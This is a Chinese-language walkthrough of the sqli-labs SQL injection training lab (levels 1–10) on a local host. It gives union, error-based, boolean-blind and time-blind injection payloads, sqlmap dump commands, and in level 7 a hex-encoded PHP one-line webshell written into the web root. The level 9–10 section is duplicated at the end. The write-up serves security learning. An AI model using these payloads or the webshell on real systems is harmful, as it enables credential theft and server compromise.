文章目录
Basic Challenges
less-1
手工注入
基于错误的GET单引号字符型注入
-
存在注入点及类型判断
-
id=1正常
-
id=1’(加上单引号)报错
-
加上注释符正常,由此可以看出时字符型不是数字型的,如果是数字型加了注释符依然会报错
这里只能用 %23 --+ 不能用#号 详见SQL注入注释符(#、-- 、/**/)使用条件及其他注释方式的探索 - impulse- - 博客园 (cnblogs.com)
-
-
判断字段数(使用order by)
在MySQL中,ORDER BY 用于对查询结果进行排序。通过使用 ORDER BY 子句,你可以指定按照一个或多个列对结果进行升序或降序排序。这样可以让你更容易地按照特定的顺序呈现查询结果。
-
order by 1-4 ,当order by 4时报错,说明字段数(在MySQL中,字段数指的是表中每行数据的列数,也就是表中每条记录所包含的字段数量。)为3有三个
-
-
执行注入Payload(union联合查询)
使用UNION或UNION ALL等操作符时,SELECT语句的列数必须保持一致。请确保你的查询中每个SELECT语句返回的列数相同否则mysql会报The used SELECT statements have a different number of columns
-
判断显示的信息点,通过id=-1来执行联合查询
http://127.0.0.1/sqli_labs/Less-1/?id=-1' union select 1,2,3--+
-
常用查询信息
- database() # 在用的数据库名
- user() # 用户信息
- version() # 数据库版本信息
- @@basedir # 数据库安装路径
- @@version_compile_os # 操作系统版本
-
逐级爆破
-
数据库名–>security ,数据库版本–>5.7.26
http://127.0.0.1/sqli_labs/Less-1/?id=-1' union select 1,database(),version()--+
-
infromation_schema.tables 下查找表名
在MySQL数据库中,所有表名以及其他数据库对象的元数据(metadata)信息存储在系统数据库中的信息模式(information_schema)中的表中。具体来说,表名可以在 information_schema.tables 表中找到。
思路:
在MySQL数据库中,你可以通过以下方式找到所有表名:
-
使用以下SQL查询语句来查看所有表名:
SELECT table_name FROM information_schema.tables WHERE table_schema = 'your_database_name';
请将
'your_database_name'
替换为你实际的数据库名称。这些方法可以帮助你找到MySQL数据库中的所有表名。
-
-
查看表名称
group_concat函数:将查询到的多行结果连接成字符串
http://127.0.0.1/sqli_labs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
-
-
查看列名称
http://127.0.0.1/sqli_labs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns WHERE table_schema ='security' AND table_name='users' --+
-
爆破数据内容
http://127.0.0.1/sqli_labs/Less-1/?id=-1' UNION SELECT 1,group_concat(username SEPARATOR '---'),group_concat(password SEPARATOR '---') FROM users --+
在SQL语句中,SEPARATOR是用于指定group_concat函数输出结果中分隔符的关键字。在您提供的SQL注入语句中,使用了group_concat函数来将多个用户名和密码拼接成一个字符串,并通过SEPARATOR指定了每个用户名和密码之间的分隔符。在这种情况下,SEPARATOR被设置为“—”,表示在拼接结果中每个用户名或密码之间用“-”符号进行分隔。
sqlmap工具
-
测试是否有注入点
python sqlmap.py -u "http://127.0.0.1/sqli_labs/Less-1/?id=1"
-
爆破数据库
python sqlmap.py -u "http://127.0.0.1/sqli_labs/Less-1/?id=1" --dbs
可爆破当前数据库名
python sqlmap.py -u "http://127.0.0.1/sqli_labs/Less-1/?id=1" --current-db
-
爆破security 下的表名
python sqlmap.py -u "http://127.0.0.1/sqli_labs/Less-1/?id=1" -D security --tables
-
爆破users下的列名
python sqlmap.py -u "http://127.0.0.1/sqli_labs/Less-1/?id=1" -D security -T users --columns
-
获取数据
python sqlmap.py -u "http://127.0.0.1/sqli_labs/Less-1/?id=1" -D security -T users --dump
sql语句源码
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
less-2
类型判断
与less-1不同之处在于
-
http://127.0.0.1/sqli_labs/Less-2/?id=1 and 1=1 出了查询结果 http://127.0.0.1/sqli_labs/Less-2/?id=1 and 1=2 没有出查询结果
-
当and 1=2时没有了回显说明为数字型注入,接下来步骤和less-1一致
获取所有数据注入payload
http://127.0.0.1/sqli_labs/Less-2/?id=-1 UNION SELECT 1,group_concat(username SEPARATOR '---'),group_concat(password SEPARATOR '---') FROM users --+
sql语句源码
$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";
less-3
sql语句源码
$sql = "SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
这一关$id加了括号,由括号与单引号闭合为xx型
类型判断
127.0.0.1/sqli_labs/Less-3/?id=1'--+报错
127.0.0.1/sqli_labs/Less-3/?id=1') and 1=2 --+报错
127.0.0.1/sqli_labs/Less-3/?id=1') and 1=1 --+ 正常
由此可判断为基于错误的GET单引号变形注入
payload
127.0.0.1/sqli_labs/Less-3/?id=-1') union select 1,group_concat(username),group_concat(password) from users --+
less-4
sql语句源码
$id = '"' . $id . '"';//它的作用是将变量$id的值包裹在双引号(")中。这行代码实际上是将$id的值转换为一个带有双引号的字符串。代码中的"."是PHP中的字符串连接运算符,它用于将各个部分连接在一起。
$sql = "SELECT * FROM users WHERE id=($id) LIMIT 0,1";
闭合方式为(”)依旧 是xx型
类型判断
http://127.0.0.1/sqli_labs/Less-4/?id=1") and 1=2--+ # 报错
http://127.0.0.1/sqli_labs/Less-4/?id=1") and 1=1--+ # 正常
由此可判断为:基于错误的GET双引号字符型注入
payload
http://127.0.0.1/sqli_labs/Less-4/?id=-1") union select 1,group_concat(username),group_concat(password) from users --+
sqlmap
python sqlmap.py -u "http://127.0.0.1/sqli_labs/Less-4/?id=1" --batch -D security -T users --columns --dump
# 在SQLMap中,--batch选项用于使SQLMap在运行时以批处理模式运行,这意味着它将在不需要用户交互的情况下自动执行所有可能的注入测试。使用--batch选项可以节省时间,尤其是在自动化扫描和批处理任务中。
1-4关皆可以用该命令
less-5
存在注入点判断
- 输入单引号测试,有报错信息,返回信息和第一关错误信息一样
- 不管输入id为多少,页面一直都是 you are in …猜测正确的页面不变,不会将查询结果打印到页面了,查看源码发现,确实是不输出结果了
- 那就引入了另一种注入手法:报错注入
但是会把错误的信息给打印出来
- 所以应该用到双注入(也称报错注入),在错误中把要的信息打印出来
mysql可完成报错注入的函数
floor()
原理较复杂,这里就后面两个函数做详细介绍
可参考[Mysql报错注入原理分析(count()、rand()、group by) - T-Safe (wooyun.js.org)](https://wooyun.js.org/drops/Mysql报错注入原理分析(count()、rand()、group by).html)
-
在MySQL中,FLOOR() 函数用于返回小于或等于给定数字的最大整数值。例如,FLOOR(5.7) 将返回 5,FLOOR(-3.14) 将返回 -4。 示例用法: SELECT FLOOR(5.7); -- 返回 5 SELECT FLOOR(-3.14); -- 返回 -4 这个函数可以帮助你将数字向下取整到最接近的整数。
updatexml()
-
UPDATEXML() 函数是MySQL中用于更新XML数据的函数。它允许你在XML文档中更新指定路径的节点的值。
这个函数的基本语法如下:
UPDATEXML(xml_target, xpath_expr, new_val)
xml_target 是要更新的XML数据列。
xpath_expr 是指定要更新的XML路径。
new_val 是要更新为的新值。
示例用法:UPDATE my_table SET xml_column = UPDATEXML(xml_column, ‘/path/to/node’, ‘new_value’) WHERE condition;
通过这个函数,你可以方便地在XML数据中更新特定路径的节点值。
select updatexml(1,concat(0x7e,(select @@version),0x7e),1);
extractvalue()
在MySQL中,
EXTRACTVALUE()
函数用于从XML数据中提取指定路径的值。它的语法如下:EXTRACTVALUE(xml_source, xpath_expression)
xml_source
是包含XML数据的字段或表达式。xpath_expression
是用于指定要提取的值的XPath路径表达式。请注意,
EXTRACTVALUE()
函数在MySQL 5.1.4版本中被引入,并且在MySQL 5.7.8版本中被弃用。如果您使用的是MySQL 5.7.8或更新版本,建议使用XPATH()
函数来替代EXTRACTVALUE()
函数。
在MySQL中,
XPATH()
函数用于执行XPath查询,并从XML数据中提取信息。它的语法如下:XPATH(xml_source, xpath_expression)
xml_source
是包含XML数据的字段或表达式。xpath_expression
是要执行的XPath查询表达式。
XPATH()
函数可用于从XML数据中选择节点、属性或文本内容,以及执行其他XPath操作。请注意,XPATH()
函数是EXTRACTVALUE()
函数的替代品,用于处理XML数据。
select extractvalue(1,concat(0x7e,(select @@version),0x7e)); #0x7e为16进制数~
CONCAT()
函数在MySQL中的作用是将多个字符串值连接成一个字符串。它接受一个或多个字符串作为参数,并返回这些字符串连接在一起的结果。你可以使用CONCAT()
函数来创建新的字符串,将多个字段的值合并在一起,或者添加特定的分隔符等。例如:SELECT CONCAT('Hello', ' ', 'World') AS greeting;
这个查询将返回一个名为
greeting
的列,其值为"Hello World"
。CONCAT()
函数非常有用,可以用于构建自定义的字符串,拼接字段值,或者在查询结果中创建特定格式的输出。
类型判断
http://127.0.0.1/sqli_labs/Less-5/?id=1' and 1=1--+ #正常
http://127.0.0.1/sqli_labs/Less-5/?id=1' and 1=2--+ #报错
由此判断为字符型注入,且没有回显点
方法
利用报错注入强行制造回显
-
爆数据库
http://127.0.0.1/sqli_labs/Less-5/?id=1' and (updatexml(1,concat(0x7e,(select database()),0x7e),1));--+
-
当前表名
http://127.0.0.1/sqli_labs/Less-5/?id=1' and (updatexml(1,(select (group_concat(table_name)) from information_schema.tables where table_schema=database()),1));--+
less-6
sql语句源码
$id = '"' . $id . '"';
$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";
其余与less5一致,用报错强行使其报错
-
当前表名
http://127.0.0.1/sqli_labs/Less-6/?id=1" and (updatexml(1,(select (group_concat(table_name)) from information_schema.tables where table_schema=database()),1));--+
SQLMAP注入
直接上payload(第五六题均可用)
python sqlmap.py -u "http://127.0.0.1/sqli_labs/Less-6/?id=1" --technique E -D security -T users --dump --batch
#--technique E 代表 SQLMap 工具中的一种注入技术,具体来说,E 代表 Error-based 注入技术。使用 Error-based 技术时,SQLMap会尝试通过触发数据库错误来探测潜在的注入点。
#--batch 参数来让 SQLMap 在发现注入后自动执行。
less-7
类型判断
- 任意输入单引号,会显示报错
- 正常运行提示 Use outfile… 所以理解为写入mm文件执行
- 通过尝试发现闭合’)),通过查看源代码,再次确定闭合成功
- order by 4 报错说明字段数为3
关键步,写入木马
写入文件配置(使用条件)
secure-file-priv - 如果文件导入不成功,确认Mysql配置文件my.ini下存在secure-file-priv - secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的
- secure_file_priv的值为null ,表示限制mysqld不允许导入|导出
- secure_file_priv的值为/tmp/ ,表示限制mysqld的导入|导出只能发生在/tmp/目录下
- secure_file_priv的值没有具体值时,表示不对mysqld的导入|导出做限制
mysql使用以下命令查看是否打开文件写入开关
show global variables like '%secure%';
写入需要注意的
-
写入的内容需要用hex转码,以防拦截
-
写入的前提需要知道物理文件路径
-
路径中斜杠只能用
/
或者\\
outfile 后的路径只能用单引号路径(不能以0x开头) -
写入的前提是有权限写入,或者有配置写入的权限
因为为 secure_file_priv 参数是只读参数,不能使用set global命令修改。
mysql> set global secure_file_priv=‘’;
ERROR 1238 (HY000): Variable ‘secure_file_priv’ is a read only variable解决方法
打开my.cnf 或 my.ini,加入以下语句后重启mysql。secure_file_priv=''
payload
写入敏感文件
- 写入phpinfo
http://127.0.0.1/sqli_labs/Less-7?id=1')) union select 1,0x3c3f70687020706870696e666f28293b3f3e,3 into outfile 'D:/ProgramFiles/phpstudy_pro/WWW/sqli_labs/Less-7/pp2.php'--+
-
写入一句话木马
http://127.0.0.1/sqli_labs/Less-7?id=1')) union select 1,0x3c3f706870206576616c28245f504f53545b636d645d293b3f3e,3 into outfile 'D:/ProgramFiles/phpstudy_pro/WWW/sqli_labs/Less-7/mm2.php'--+
同时网页可以直接访问该文件并执行
less-8
-
判断字段,order by4 无响应说明有3个字段
-
因为报错没有强制回显,但是页面有固定的回显因此用布尔盲注
-
payload
?id=-1' or length(database())=8--+ //判断数据库名长度是否是8 一般使用or 因为无法确保 前面的条件是否为真,如果前面条件为真也可以用 ?id=1' and length(database())=8--+
-
数据库名判断为8回显正常,说明数据库的名字长度就是8
-
接下来猜解数据库名
-
?id=1' and 's'=left(database(),1)--+ 页面正常 说明第一个字母为s ?id=1' and 'se'=left(database(),2)--+ 第二个字母e 以此类推猜解第3-8个字母,以及后面的表,
-
查表名 ?id=-1' or (ascii(substr(select (table_name) from information_schema.tables where table_schema=database() limit 0,1),1,1))=?--+ 查字段名 ?id=-1' or (ascii(substr(select (column_name) from information_schema.columns where table_name='users' limit 0,1),1,1))=?--+
SQLMAP注入
payload
sqlmap -u “http://127.0.0.1/sqli_labs/Less-7?id=1” --technique B -D security -T users -C username,password --dump --threads 10 --batch
less-9
-
这一关与less-8区别在于不管语法对错页面都没有变化
从源码可以看出无论是否正确,都输出‘you are in ………’
由此可以判断类型为基于GET单引号基于时间盲注
-
尝试使用sleep看是否执行
布尔盲注和时间盲注的最直观区别就是一个可以通过页面区别来判断对错,一个则无法判断对错,只能通过执行的时间来区别对错
-
payload
id=1' and if(length(database())=8,sleep(5),0)
less-10
-
和第9关一样,只不过为基于GET双引号基于时间盲注
-
payload中单引号闭合改为双引号闭合即可
http://127.0.0.1/sqli_labs/Less-10?id=1" and if(length(database())=8,sleep(5),0) --+
–batch
less-9
-
这一关与less-8区别在于不管语法对错页面都没有变化
[外链图片转存中…(img-quAK5y6g-1708354747229)]
从源码可以看出无论是否正确,都输出‘you are in ………’
由此可以判断类型为基于GET单引号基于时间盲注
-
尝试使用sleep看是否执行
布尔盲注和时间盲注的最直观区别就是一个可以通过页面区别来判断对错,一个则无法判断对错,只能通过执行的时间来区别对错
-
payload
id=1' and if(length(database())=8,sleep(5),0)
less-10
-
和第9关一样,只不过为基于GET双引号基于时间盲注
-
payload中单引号闭合改为双引号闭合即可
http://127.0.0.1/sqli_labs/Less-10?id=1" and if(length(database())=8,sleep(5),0) --+